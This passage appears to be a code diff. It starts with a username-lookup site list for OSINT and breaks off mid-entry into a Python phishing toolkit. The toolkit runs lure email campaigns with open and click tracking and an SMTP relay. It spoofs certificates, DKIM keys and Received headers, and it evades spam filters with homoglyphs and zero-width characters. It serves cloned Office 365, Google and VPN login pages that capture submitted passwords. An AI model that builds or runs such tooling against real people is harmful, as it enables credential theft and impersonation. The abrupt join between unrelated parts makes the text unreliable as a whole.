"usernameON": "vik", + "bad_site": "" + }, + "Uforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uforum.uz/member.php?username={}", + "urlMain": "https://uforum.uz", + "usernameON": "Constantin", + "bad_site": "" + }, + "Uft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://uft.me/persons/{}", + "urlMain": "https://uft.me", + "usernameON": "darkelectro", + "comments": "old", + "bad_site": 1 + }, + "Ukraine-footbal": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ukraine-footbal.at.ua/index/8-0-{}", + "urlMain": "https://ukraine-footbal.at.ua", + "usernameON": "pavelsamoylov2022", + "bad_site": "" + }, + "Ultimate-Guitar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ultimate-guitar.com/u/{}", + "urlMain": "https://ultimate-guitar.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Universemc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://universemc.us/members/?username={}", + "urlMain": "https://universemc.us", + "usernameON": "sinnfein", + "comments": "RUblock", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Unixforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "unixforum.org - Информация", + "errorTyp��": "message", + "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://unixforum.org", + "usernameON": "adam", + "bad_site": "" + }, + "Unsorted": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "unsorted ~ ", + "errorTyp��": "message", + "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}", + "urlMain": "https://unsorted.me", + "usernameON": "DALDON", + "bad_site": "" + }, + "Unsplash": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://unsplash.com/@{}/likes", + "urlMain": "https://unsplash.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Untappd": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://untappd.com/user/{}", + "urlMain": "https://untappd.com", + "usernameON": "adam", + "bad_site": "" + }, + "Uphillathlete": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://uphillathlete.com/forums/users/{}/", + "urlMain": "https://uphillathlete.com", + "usernameON": "yamabu", + "bad_site": "" + }, + "Uralfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "nowrap=\"nowrap\">

14
+ + + + +
Location:{{location}}
Device:{{device}}
Time:{{date}}
IP Address:{{ip_address}}
+

If this was you, no action is needed. Otherwise, secure your account immediately.

+
{{tracking_pixel}}
""", + "text": "Security Alert\n\nDear {{name}},\n\nUnrecognized login detected:\nLocation: {{location}}\nDevice: {{device}}\nTime: {{date}}\nIP: {{ip_address}}\n\nSecure your account: {{link}}", + }, + "Meeting Update": { + "subject": "Meeting Update: {{meeting_title}}", + "html": """
+
+

📅 Calendar Update

+
+

Hi {{name}},

+

The following meeting has been updated:

+
+{{meeting_title}}
+{{date}} at {{time}}
+Organizer: {{organizer}} +
+

Please review the updated agenda and confirm your attendance.

+

View Meeting Details

+
{{tracking_pixel}}
""", + "text": "Meeting Update: {{meeting_title}}\n\nHi {{name}},\n\n{{meeting_title}} has been updated.\nDate: {{date}} at {{time}}\nOrganizer: {{organizer}}\n\nView details: {{link}}", + }, +} + + +class TemplateManager: + """Manage email templates (built-in + custom).""" + + def __init__(self): + self._file = os.path.join(get_data_dir(), 'phishmail_templates.json') + self._custom = {} + self._load() + + def _load(self): + if os.path.exists(self._file): + try: + with open(self._file, 'r') as f: + self._custom = json.load(f) + except Exception: + self._custom = {} + + def _save(self): + os.makedirs(os.path.dirname(self._file), exist_ok=True) + with open(self._file, 'w') as f: + json.dump(self._custom, f, indent=2) + + def list_templates(self) -> Dict[str, dict]: + merged = {} + for name, tpl in _BUILTIN_TEMPLATES.items(): + merged[name] = {**tpl, 'builtin': True} + for name, tpl in self._custom.items(): + merged[name] = {**tpl, 'builtin': False} + return merged + + def get_template(self, name: str) -> Optional[dict]: + if name in self._custom: + return {**self._custom[name], 'builtin': False} + if name in _BUILTIN_TEMPLATES: + return {**_BUILTIN_TEMPLATES[name], 'builtin': True} + return None + + def save_template(self, name: str, html: str, text: str = '', subject: str = ''): + self._custom[name] = {'html': html, 'text': text, 'subject': subject} + self._save() + + def delete_template(self, name: str) -> bool: + if name in self._custom: + del self._custom[name] + self._save() + return True + return False + + +# ── Campaign Manager ───────────────────────────────────────────────────────── + +class CampaignManager: + """Manage phishing campaigns with tracking.""" + + def __init__(self): + self._file = os.path.join(get_data_dir(), 'phishmail_campaigns.json') + self._campaigns = {} + self._load() + + def _load(self): + if os.path.exists(self._file): + try: + with open(self._file, 'r') as f: + self._campaigns = json.load(f) + except Exception: + self._campaigns = {} + + def _save(self): + os.makedirs(os.path.dirname(self._file), exist_ok=True) + with open(self._file, 'w') as f: + json.dump(self._campaigns, f, indent=2) + + def create_campaign(self, name: str, template: str, targets: List[str], + from_addr: str, from_name: str, subject: str, + smtp_host: str = '127.0.0.1', smtp_port: int = 25) -> str: + cid = uuid.uuid4().hex[:12] + self._campaigns[cid] = { + 'id': cid, + 'name': name, + 'template': template, + 'targets': [ + {'email': t.strip(), 'id': uuid.uuid4().hex[:8], + 'status': 'pending', 'sent_at': None, 'opened_at': None, + 'clicked_at': None} + for t in targets if t.strip() + ], + 'from_addr': from_addr, + 'from_name': from_name, + 'subject': subject, + 'smtp_host': smtp_host, + 'smtp_port': smtp_port, + 'created': datetime.now().isoformat(), + 'status': 'draft', + } + self._save() + return cid + + def get_campaign(self, cid: str) -> Optional[dict]: + return self._campaigns.get(cid) + + def list_campaigns(self) -> List[dict]: + return list(self._campaigns.values()) + + def delete_campaign(self, cid: str) -> bool: + if cid in self._campaigns: + del self._campaigns[cid] + self._save() + return True + return False + + def update_target_status(self, cid: str, target_id: str, + field: str, value: str): + camp = self._campaigns.get(cid) + if not camp: + return + for t in camp['targets']: + if t['id'] == target_id: + t[field] = value + break + self._save() + + def record_open(self, cid: str, target_id: str): + self.update_target_status(cid, target_id, 'opened_at', + datetime.now().isoformat()) + + def record_click(self, cid: str, target_id: str): + self.update_target_status(cid, target_id, 'clicked_at', + datetime.now().isoformat()) + + def get_stats(self, cid: str) -> dict: + camp = self._campaigns.get(cid) + if not camp: + return {} + targets = camp.get('targets', []) + total = len(targets) + sent = sum(1 for t in targets if t.get('sent_at')) + opened = sum(1 for t in targets if t.get('opened_at')) + clicked = sum(1 for t in targets if t.get('clicked_at')) + return { + 'total': total, 'sent': sent, 'opened': opened, + 'clicked': clicked, + 'open_rate': f"{opened/sent*100:.1f}%" if sent else '0%', + 'click_rate': f"{clicked/sent*100:.1f}%" if sent else '0%', + } + + +# ── SMTP Relay Server ──────────────────────────────────────────────────────── + +class _SMTPHandler: + """Simple SMTP receiver using raw sockets (no aiosmtpd dependency).""" + + def __init__(self, host='0.0.0.0', port=2525): + self.host = host + self.port = port + self._sock = None + self._running = False + self._thread = None + self._received = [] + + def start(self): + if self._running: + return + self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._sock.settimeout(2) + self._sock.bind((self.host, self.port)) + self._sock.listen(5) + self._running = True + self._thread = threading.Thread(target=self._accept_loop, daemon=True) + self._thread.start() + + def stop(self): + self._running = False + if self._sock: + try: + self._sock.close() + except Exception: + pass + if self._thread: + self._thread.join(timeout=5) + + def _accept_loop(self): + while self._running: + try: + conn, addr = self._sock.accept() + threading.Thread(target=self._handle_client, + args=(conn, addr), daemon=True).start() + except socket.timeout: + continue + except Exception: + if self._running: + continue + break + + def _handle_client(self, conn, addr): + """Minimal SMTP conversation handler.""" + try: + conn.settimeout(30) + conn.sendall(b'220 Gone Fishing SMTP Ready\r\n') + mail_from = '' + rcpt_to = [] + data_buf = b'' + while True: + line = b'' + while not line.endswith(b'\r\n'): + chunk = conn.recv(1) + if not chunk: + return + line += chunk + cmd = line.decode('utf-8', errors='replace').strip().upper() + + if cmd.startswith('EHLO') or cmd.startswith('HELO'): + conn.sendall(b'250-Gone Fishing\r\n250 OK\r\n') + elif cmd.startswith('MAIL FROM'): + mail_from = line.decode('utf-8', errors='replace').split(':', 1)[1].strip().strip('<>') + conn.sendall(b'250 OK\r\n') + elif cmd.startswith('RCPT TO'): + rcpt = line.decode('utf-8', errors='replace').split(':', 1)[1].strip().strip('<>') + rcpt_to.append(rcpt) + conn.sendall(b'250 OK\r\n') + elif cmd == 'DATA': + conn.sendall(b'354 End data with .\r\n') + data_buf = b'' + while True: + chunk = conn.recv(4096) + if not chunk: + break + data_buf += chunk + if data_buf.endswith(b'\r\n.\r\n'): + break + self._received.append({ + 'from': mail_from, + 'to': rcpt_to, + 'data': data_buf.decode('utf-8', errors='replace'), + 'time': datetime.now().isoformat(), + 'addr': addr, + }) + conn.sendall(b'250 OK\r\n') + elif cmd == 'QUIT': + conn.sendall(b'221 Bye\r\n') + break + elif cmd.startswith('STARTTLS'): + conn.sendall(b'454 TLS not available on relay\r\n') + else: + conn.sendall(b'500 Unknown command\r\n') + except Exception: + pass + finally: + try: + conn.close() + except Exception: + pass + + @property + def received_count(self): + return len(self._received) + + +# ── Gone Fishing Server ───────────────────────────────────────────────────── + +class GoneFishingServer: + """Main phishing mail service combining SMTP relay, sender, and tracking.""" + + def __init__(self): + self.templates = TemplateManager() + self.campaigns = CampaignManager() + self.landing_pages = LandingPageManager() + self.evasion = EmailEvasion() + self.dkim = DKIMHelper() + self._relay = None + self._tracking_events = [] + + @property + def relay_running(self) -> bool: + return self._relay is not None and self._relay._running + + def start_relay(self, host: str = '0.0.0.0', port: int = 2525): + if self._relay and self._relay._running: + return {'ok': True, 'message': 'Relay already running'} + self._relay = _SMTPHandler(host, port) + self._relay.start() + return {'ok': True, 'message': f'SMTP relay started on {host}:{port}'} + + def stop_relay(self): + if self._relay: + self._relay.stop() + self._relay = None + return {'ok': True, 'message': 'Relay stopped'} + + def relay_status(self) -> dict: + if self._relay and self._relay._running: + return { + 'running': True, + 'host': self._relay.host, + 'port': self._relay.port, + 'received': self._relay.received_count, + } + return {'running': False} + + def generate_cert(self, cn: str = 'mail.example.com', + org: str = 'Example Inc', + ou: str = '', locality: str = '', + state: str = '', country: str = 'US', + days: int = 365) -> dict: + """Generate a spoofed self-signed TLS certificate.""" + cert_dir = os.path.join(get_data_dir(), 'certs', 'phishmail') + os.makedirs(cert_dir, exist_ok=True) + + safe_cn = cn.replace('/', '_').replace('\\', '_').replace(' ', '_') + cert_path = os.path.join(cert_dir, f'{safe_cn}.crt') + key_path = os.path.join(cert_dir, f'{safe_cn}.key') + + subj_parts = [f'/CN={cn}'] + if org: + subj_parts.append(f'/O={org}') + if ou: + subj_parts.append(f'/OU={ou}') + if locality: + subj_parts.append(f'/L={locality}') + if state: + subj_parts.append(f'/ST={state}') + if country: + subj_parts.append(f'/C={country}') + subj = ''.join(subj_parts) + + try: + subprocess.run([ + 'openssl', 'req', '-x509', '-newkey', 'rsa:2048', + '-keyout', key_path, '-out', cert_path, + '-days', str(days), '-nodes', + '-subj', subj, + ], check=True, capture_output=True) + return { + 'ok': True, 'cert': cert_path, 'key': key_path, + 'cn': cn, 'org': org, + 'message': f'Certificate generated: {safe_cn}.crt', + } + except FileNotFoundError: + return {'ok': False, 'error': 'OpenSSL not found — install OpenSSL to generate certificates'} + except subprocess.CalledProcessError as e: + return {'ok': False, 'error': f'OpenSSL error: {e.stderr.decode(errors="replace")}'} + + def list_certs(self) -> List[dict]: + cert_dir = os.path.join(get_data_dir(), 'certs', 'phishmail') + if not os.path.isdir(cert_dir): + return [] + certs = [] + for f in os.listdir(cert_dir): + if f.endswith('.crt'): + name = f[:-4] + key_exists = os.path.exists(os.path.join(cert_dir, f'{name}.key')) + certs.append({'name': name, 'cert': f, 'has_key': key_exists}) + return certs + + def _build_message(self, config: dict) -> MIMEMultipart: + """Build a MIME email message from config.""" + msg = MIMEMultipart('alternative') + msg['From'] = f"{config.get('from_name', '')} <{config['from_addr']}>" + msg['To'] = ', '.join(config.get('to_addrs', [])) + msg['Subject'] = config.get('subject', '') + msg['Reply-To'] = config.get('reply_to', config['from_addr']) + msg['X-Mailer'] = config.get('x_mailer', 'Microsoft Outlook 16.0') + msg['Message-ID'] = f"<{uuid.uuid4().hex}@{config['from_addr'].split('@')[-1]}>" + msg['Date'] = datetime.now().strftime('%a, %d %b %Y %H:%M:%S %z') or \ + datetime.now().strftime('%a, %d %b %Y %H:%M:%S +0000') + + # Evasion: additional headers + if config.get('x_priority'): + msg['X-Priority'] = config['x_priority'] + if config.get('x_originating_ip'): + msg['X-Originating-IP'] = f"[{config['x_originating_ip']}]" + if config.get('return_path'): + msg['Return-Path'] = config['return_path'] + if config.get('list_unsubscribe'): + msg['List-Unsubscribe'] = config['list_unsubscribe'] + + # Evasion: spoofed Received headers + for received in config.get('received_headers', []): + msg['Received'] = received + + # Custom headers + for hdr_name, hdr_val in config.get('custom_headers', {}).items(): + msg[hdr_name] = hdr_val + + # Text part + text_body = config.get('text_body', '') + if text_body: + msg.attach(MIMEText(text_body, 'plain')) + + # HTML part + html_body = config.get('html_body', '') + if html_body: + # Apply evasion if requested + evasion_mode = config.get('evasion_mode', '') + if evasion_mode == 'homoglyph': + html_body = self.evasion.homoglyph_text(html_body) + elif evasion_mode == 'zero_width': + html_body = self.evasion.zero_width_insert(html_body) + elif evasion_mode == 'html_entity': + html_body = self.evasion.html_entity_encode(html_body) + msg.attach(MIMEText(html_body, 'html')) + + # Attachments + for filepath in config.get('attachments', []): + if os.path.isfile(filepath): + part = MIMEBase('application', 'octet-stream') + with open(filepath, 'rb') as f: + part.set_payload(f.read()) + encoders.encode_base64(part) + part.add_header('Content-Disposition', 'attachment', + filename=os.path.basename(filepath)) + msg.attach(part) + + return msg + + def _inject_tracking(self, html: str, campaign_id: str, + target_id: str, base_url: str = '') -> str: + """Inject tracking pixel and rewrite links for click tracking.""" + if not base_url: + base_url = 'http://127.0.0.1:8181' + + # Tracking pixel + pixel_url = f"{base_url}/phishmail/track/pixel/{campaign_id}/{target_id}" + pixel_tag = f'' + html = html.replace('{{tracking_pixel}}', pixel_tag) + + # Link rewriting — replace href values with tracking redirects + import re + link_counter = [0] + + def _rewrite_link(match): + original = match.group(1) + if 'track/pixel' in original or 'track/click' in original: + return match.group(0) + link_id = link_counter[0] + link_counter[0] += 1 + import base64 + encoded = base64.urlsafe_b64encode(original.encode()).decode() + track_url = f"{base_url}/phishmail/track/click/{campaign_id}/{target_id}/{encoded}" + return f'href="{track_url}"' + + html = re.sub(r'href="([^"]+)"', _rewrite_link, html) + return html + + def send_email(self, config: dict) -> dict: + """Send a single email. + + Config keys: from_addr, from_name, to_addrs (list), subject, + html_body, text_body, attachments (list of paths), + smtp_host, smtp_port, use_tls, cert_cn (for TLS cert lookup). + """ + to_addrs = config.get('to_addrs', []) + if isinstance(to_addrs, str): + to_addrs = [a.strip() for a in to_addrs.split(',') if a.strip()] + + # Validate all recipients are local + for addr in to_addrs: + ok, msg = _validate_local_only(addr) + if not ok: + return {'ok': False, 'error': msg} + + smtp_host = config.get('smtp_host', '127.0.0.1') + smtp_port = int(config.get('smtp_port', 25)) + use_tls = config.get('use_tls', False) + + config['to_addrs'] = to_addrs + message = self._build_message(config) + + try: + if use_tls: + # Look for spoofed cert + cert_cn = config.get('cert_cn', '') + if cert_cn: + cert_dir = os.path.join(get_data_dir(), 'certs', 'phishmail') + safe_cn = cert_cn.replace('/', '_').replace('\\', '_').replace(' ', '_') + cert_path = os.path.join(cert_dir, f'{safe_cn}.crt') + key_path = os.path.join(cert_dir, f'{safe_cn}.key') + if os.path.exists(cert_path) and os.path.exists(key_path): + import ssl as _ssl + ctx = _ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = _ssl.CERT_NONE + ctx.load_cert_chain(cert_path, key_path) + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + server.starttls(context=ctx) + else: + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + server.starttls() + else: + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + server.starttls() + else: + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + + server.sendmail(config['from_addr'], to_addrs, message.as_string()) + server.quit() + return {'ok': True, 'message': f'Email sent to {len(to_addrs)} recipient(s)'} + except smtplib.SMTPException as e: + return {'ok': False, 'error': f'SMTP error: {e}'} + except ConnectionRefusedError: + return {'ok': False, 'error': f'Connection refused: {smtp_host}:{smtp_port}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def send_campaign(self, cid: str, base_url: str = '', + delay: float = 1.0) -> dict: + """Send all emails in a campaign with tracking injection.""" + camp = self.campaigns.get_campaign(cid) + if not camp: + return {'ok': False, 'error': 'Campaign not found'} + + tpl = self.templates.get_template(camp['template']) + if not tpl: + return {'ok': False, 'error': f"Template '{camp['template']}' not found"} + + # Validate all targets first + for t in camp['targets']: + ok, msg = _validate_local_only(t['email']) + if not ok: + return {'ok': False, 'error': f"Target {t['email']}: {msg}"} + + sent = 0 + errors = [] + for t in camp['targets']: + html = tpl.get('html', '') + text = tpl.get('text', '') + subject = camp.get('subject', tpl.get('subject', '')) + + # Variable substitution + vars_map = { + '{{name}}': t['email'].split('@')[0].replace('.', ' ').title(), + '{{email}}': t['email'], + '{{company}}': camp.get('from_name', 'Company'), + '{{date}}': datetime.now().strftime('%B %d, %Y'), + '{{link}}': f'{base_url}/phishmail/track/click/{cid}/{t["id"]}/landing', + } + for var, val in vars_map.items(): + html = html.replace(var, val) + text = text.replace(var, val) + subject = subject.replace(var, val) + + # Inject tracking + html = self._inject_tracking(html, cid, t['id'], base_url) + + config = { + 'from_addr': camp['from_addr'], + 'from_name': camp['from_name'], + 'to_addrs': [t['email']], + 'subject': subject, + 'html_body': html, + 'text_body': text, + 'smtp_host': camp.get('smtp_host', '127.0.0.1'), + 'smtp_port': camp.get('smtp_port', 25), + } + + result = self.send_email(config) + if result['ok']: + self.campaigns.update_target_status( + cid, t['id'], 'status', 'sent') + self.campaigns.update_target_status( + cid, t['id'], 'sent_at', datetime.now().isoformat()) + sent += 1 + else: + errors.append(f"{t['email']}: {result['error']}") + self.campaigns.update_target_status( + cid, t['id'], 'status', 'failed') + + if delay > 0: + time.sleep(delay) + + # Update campaign status + camp_data = self.campaigns.get_campaign(cid) + if camp_data: + camp_data['status'] = 'sent' + self.campaigns._save() + + if errors: + return {'ok': True, 'sent': sent, 'errors': errors, + 'message': f'Sent {sent}/{len(camp["targets"])} emails, {len(errors)} failed'} + return {'ok': True, 'sent': sent, + 'message': f'Campaign sent to {sent} target(s)'} + + def setup_dns_for_domain(self, domain: str, mail_host: str = '', + spf_allow: str = '') -> dict: + """Auto-configure DNS records for a spoofed domain via the DNS service. + + Creates zone + MX + SPF + DMARC records if the DNS service is running. + """ + try: + from core.dns_service import get_dns_service + dns = get_dns_service() + if not dns.is_running(): + return {'ok': False, 'error': 'DNS service not running'} + + # Create zone if it doesn't exist + dns.create_zone(domain) + + # Setup mail records + result = dns.setup_mail_records( + domain, + mx_host=mail_host or f'mail.{domain}', + spf_allow=spf_allow or 'ip4:127.0.0.1', + ) + return result + except ImportError: + return {'ok': False, 'error': 'DNS service module not available'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def dns_status(self) -> dict: + """Check if DNS service is available and running.""" + try: + from core.dns_service import get_dns_service + dns = get_dns_service() + return {'available': True, 'running': dns.is_running()} + except Exception: + return {'available': False, 'running': False} + + def test_smtp(self, host: str, port: int = 25, timeout: int = 5) -> dict: + """Test SMTP connectivity to a server.""" + try: + server = smtplib.SMTP(host, port, timeout=timeout) + banner = server.ehlo_resp or server.helo_resp + server.quit() + return { + 'ok': True, + 'message': f'Connected to {host}:{port}', + 'banner': banner.decode(errors='replace') if isinstance(banner, bytes) else str(banner), + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + +# ── Landing Page & Credential Harvesting ────────────────────────────────────── + +_LANDING_TEMPLATES = { + "Office 365 Login": { + "html": """ +Sign in to your account + +""", + "fields": ["email", "password"], + }, + "Google Login": { + "html": """ +Sign in - Google Accounts + +
+

Sign in

Use your Google Account

+
+ + +
""", + "fields": ["email", "password"], + }, + "Generic Login": { + "html": """ +Login Required + +

Login Required

Please sign in to continue

+
+ + +
""", + "fields": ["username", "password"], + }, + "VPN Login": { + "html": """ +VPN Portal - Authentication Required + +
🛡

VPN Portal

Authentication required to connect

+
+ + + +
+

This connection is encrypted and monitored

""", + "fields": ["username", "password", "otp"], + }, +} + + +class LandingPageManager: + """Manage phishing landing pages and captured credentials.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'phishmail') + self._pages_file = os.path.join(self._data_dir, 'landing_pages.json') + self._captures_file = os.path.join(self._data_dir, 'captures.json') + self._pages = {} + self._captures = [] + self._load() + + def _load(self): + os.makedirs(self._data_dir, exist_ok=True) + for attr, path in [('_pages', self._pages_file), ('_captures', self._captures_file)]: + if os.path.exists(path): + try: + with open(path, 'r') as f: + setattr(self, attr, json.load(f)) + except Exception: + pass + + def _save_pages(self): + os.makedirs(self._data_dir, exist_ok=True) + with open(self._pages_file, 'w') as f: + json.dump(self._pages, f, indent=2) + + def _save_captures(self): + os.makedirs(self._data_dir, exist_ok=True) + with open(self._captures_file, 'w') as f: + json.dump(self._captures, f, indent=2) + + def list_builtin(self) -> dict: + return {name: {'fields': t['fields'], 'builtin': True} for name, t in _LANDING_TEMPLATES.items()} + + def list_pages(self) -> dict: + result = {} + for name, t in _LANDING_TEMPLATES.items(): + result[name] = {'fields': t['fields'], 'builtin': True} + for pid, page in self._pages.items(): + result[page.get('name', pid)] = {**page, 'id': pid, 'builtin': False} + return result + + def get_page(self, name_or_id: str) -> Optional[dict]: + if name_or_id in _LANDING_TEMPLATES: + return {**_LANDING_TEMPLATES[name_or_id], 'builtin': True} + if name_or_id in self._pages: + return {**self._pages[name_or_id], 'builtin': False} + # Search by name + for pid, page in self._pages.items(): + if page.get('name') == name_or_id: + return {**page, 'id': pid, 'builtin': False} + return None + + def create_page(self, name: str, html: str, redirect_url: str = '', + fields: list = None) -> str: + pid = uuid.uuid4().hex[:10] + self._pages[pid] = { + 'name': name, 'html': html, 'redirect_url': redirect_url, + 'fields': fields or ['username', 'password'], + 'created': datetime.now().isoformat(), + } + self._save_pages() + return pid + + def delete_page(self, pid: str) -> bool: + if pid in self._pages: + del self._pages[pid] + self._save_pages() + return True + return False + + def record_capture(self, page_id: str, form_data: dict, + request_info: dict = None) -> dict: + """Record captured credentials from a landing page submission.""" + # Filter out hidden tracking fields + creds = {k: v for k, v in form_data.items() if not k.startswith('_')} + + capture = { + 'id': uuid.uuid4().hex[:10], + 'page': page_id, + 'campaign': form_data.get('_campaign', ''), + 'target': form_data.get('_target', ''), + 'credentials': creds, + 'timestamp': datetime.now().isoformat(), + } + if request_info: + capture['ip'] = request_info.get('ip', '') + capture['user_agent'] = request_info.get('user_agent', '') + capture['referer'] = request_info.get('referer', '') + + self._captures.append(capture) + # Keep last 10000 captures + if len(self._captures) > 10000: + self._captures = self._captures[-10000:] + self._save_captures() + return capture + + def get_captures(self, campaign_id: str = '', page_id: str = '') -> list: + results = self._captures + if campaign_id: + results = [c for c in results if c.get('campaign') == campaign_id] + if page_id: + results = [c for c in results if c.get('page') == page_id] + return results + + def clear_captures(self, campaign_id: str = '') -> int: + if campaign_id: + before = len(self._captures) + self._captures = [c for c in self._captures if c.get('campaign') != campaign_id] + count = before - len(self._captures) + else: + count = len(self._captures) + self._captures = [] + self._save_captures() + return count + + def render_page(self, name_or_id: str, campaign_id: str = '', + target_id: str = '', target_email: str = '') -> Optional[str]: + """Render a landing page with tracking variables injected.""" + page = self.get_page(name_or_id) + if not page: + return None + html = page['html'] + html = html.replace('{{campaign_id}}', campaign_id) + html = html.replace('{{target_id}}', target_id) + html = html.replace('{{email}}', target_email) + return html + + +# ── Email Evasion Helpers ────────────────────────────────────────────────── + +class EmailEvasion: + """Techniques to improve email deliverability and bypass filters.""" + + @staticmethod + def homoglyph_text(text: str) -> str: + """Replace some chars with Unicode homoglyphs to bypass text filters.""" + _MAP = {'a': '\u0430', 'e': '\u0435', 'o': '\u043e', 'p': '\u0440', + 'c': '\u0441', 'x': '\u0445', 'i': '\u0456'} + import random + result = [] + for ch in text: + if ch.lower() in _MAP and random.random() < 0.3: + result.append(_MAP[ch.lower()]) + else: + result.append(ch) + return ''.join(result) + + @staticmethod + def zero_width_insert(text: str) -> str: + """Insert zero-width chars to break keyword matching.""" + import random + zwchars = ['\u200b', '\u200c', '\u200d', '\ufeff'] + result = [] + for ch in text: + result.append(ch) + if ch.isalpha() and random.random() < 0.15: + result.append(random.choice(zwchars)) + return ''.join(result) + + @staticmethod + def html_entity_encode(text: str) -> str: + """Encode some chars as HTML entities.""" + import random + result = [] + for ch in text: + if ch.isalpha() and random.random() < 0.2: + result.append(f'&#x{ord(ch):x};') + else: + result.append(ch) + return ''.join(result) + + @staticmethod + def randomize_headers() -> dict: + """Generate randomized but realistic email headers.""" + import random + mailers = [ + 'Microsoft Outlook 16.0', 'Microsoft Outlook 15.0', + 'Thunderbird 102.0', 'Apple Mail (2.3654)', + 'Evolution 3.44', 'The Bat! 10.4', + ] + priorities = ['1 (Highest)', '3 (Normal)', '5 (Lowest)'] + return { + 'x_mailer': random.choice(mailers), + 'x_priority': random.choice(priorities), + 'x_originating_ip': f'10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}', + } + + @staticmethod + def spoof_received_chain(from_domain: str, hops: int = 2) -> list: + """Generate fake Received headers to look like legitimate mail flow.""" + import random + servers = ['mx', 'relay', 'gateway', 'edge', 'smtp', 'mail', 'mta'] + chain = [] + prev = f'{random.choice(servers)}.{from_domain}' + for i in range(hops): + next_srv = f'{random.choice(servers)}{i+1}.{from_domain}' + ip = f'10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}' + ts = datetime.now().strftime('%a, %d %b %Y %H:%M:%S +0000') + chain.append(f'from {prev} ({ip}) by {next_srv} with ESMTPS; {ts}') + prev = next_srv + return chain + + +# ── DKIM Helper ────────────────────────────────────────────────────────────── + +class DKIMHelper: + """Generate DKIM keys and sign emails.""" + + @staticmethod + def generate_keypair(domain: str) -> dict: + """Generate RSA keypair for DKIM signing.""" + key_dir = os.path.join(get_data_dir(), 'phishmail', 'dkim') + os.makedirs(key_dir, exist_ok=True) + + priv_path = os.path.join(key_dir, f'{domain}.key') + pub_path = os.path.join(key_dir, f'{domain}.pub') + + try: + subprocess.run([ + 'openssl', 'genrsa', '-out', priv_path, '2048' + ], check=True, capture_output=True) + subprocess.run([ + 'openssl', 'rsa', '-in', priv_path, + '-pubout', '-out', pub_path + ], check=True, capture_output=True) + + with open(pub_path, 'r') as f: + pub_key = f.read() + # Extract just the key data (strip PEM headers) + lines = [l for l in pub_key.strip().split('\n') + if not l.startswith('-----')] + dns_key = ''.join(lines) + + return { + 'ok': True, + 'private_key': priv_path, + 'public_key': pub_path, + 'dns_record': f'v=DKIM1; k=rsa; p={dns_key}', + 'selector': 'default', + 'domain': domain, + } + except FileNotFoundError: + return {'ok': False, 'error': 'OpenSSL not found'} + except subprocess.CalledProcessError as e: + return {'ok': False, 'error': f'OpenSSL error: {e.stderr.decode(errors="replace")}'} + + @staticmethod + def list_keys() -> list: + key_dir = os.path.join(get_data_dir(), 'phishmail', 'dkim') + if not os.path.isdir(key_dir): + return [] + keys = [] + for f in os.listdir(key_dir): + if f.endswith('.key'): + domain = f[:-4] + pub_exists = os.path.exists(os.path.join(key_dir, f'{domain}.pub')) + keys.append({'domain': domain, 'has_pub': pub_exists}) + return keys + + @staticmethod + def sign_message(msg_str: str, domain: str, + selector: str = 'default') -> Optional[str]: + """Sign a message with DKIM. Returns the DKIM-Signature header value.""" + try: + import dkim + key_path = os.path.join(get_data_dir(), 'phishmail', 'dkim', f'{domain}.key') + if not os.path.exists(key_path): + return None + with open(key_path, 'rb') as f: + private_key = f.read() + sig = dkim.sign(msg_str.encode(), + selector.encode(), + domain.encode(), + private_key) + return sig.decode() + except ImportError: + return None + except Exception: + return None + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_gone_fishing() -> GoneFishingServer: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = GoneFishingServer() + return _instance + + +# ── Interactive CLI ────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Gone Fishing Mail Service.""" + server = get_gone_fishing() + + while True: + print("\n" + "=" * 60) + print(" GONE FISHING MAIL SERVICE") + print(" Local network phishing simulator") + print("=" * 60) + relay_status = "RUNNING" if server.relay_running else "STOPPED" + print(f" SMTP Relay: {relay_status}") + print() + print(" 1 — Compose & Send Email") + print(" 2 — Manage Campaigns") + print(" 3 — Manage Templates") + print(" 4 — Start/Stop SMTP Relay") + print(" 5 — Generate Spoofed Certificate") + print(" 6 — View Tracking Stats") + print(" 7 — Test SMTP Connection") + print(" 0 — Back") + print() + + choice = input(" Select: ").strip() + + 